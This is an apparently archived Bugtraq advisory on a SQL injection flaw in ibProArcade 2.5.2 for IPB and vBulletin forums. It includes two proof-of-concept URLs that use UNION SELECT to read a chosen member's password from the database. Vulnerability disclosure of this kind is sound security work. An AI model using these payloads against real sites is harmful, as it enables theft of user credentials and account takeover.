ibProArcade User ID SQL Injection Vulnerability

Bugtraq ID:	15333
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 05 2005 12:00AM
Updated:	Nov 05 2005 12:00AM
Credit:	Discovered by B~HFH <[email protected]>.
Vulnerable:	ibProArcade ibProArcade 2.5.2
Not Vulnerable:

ibProArcade User ID SQL Injection Vulnerability

A SQL injection attack due to an input validation error has been reported. The vulnerability is said to be in the "index.php" scripts on both PowerBoard and vBulletin installations when the module is enabled. The HTML variable "id" for PowerBoard users and "userid" for vBulletin users is reportedly not properly escaped before it is embedded in a SQL query string.

ibProArcade User ID SQL Injection Vulnerability

The following proof of concept URLs were provided:

IPB:
index.php?act=Arcade&module=report&user=-1 union select password from ibf_members where id=[any_user]
vBulettin forums:
index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]

ibProArcade User ID SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

ibProArcade User ID SQL Injection Vulnerability

References:

• Sql injection in ibProArcade ([email protected])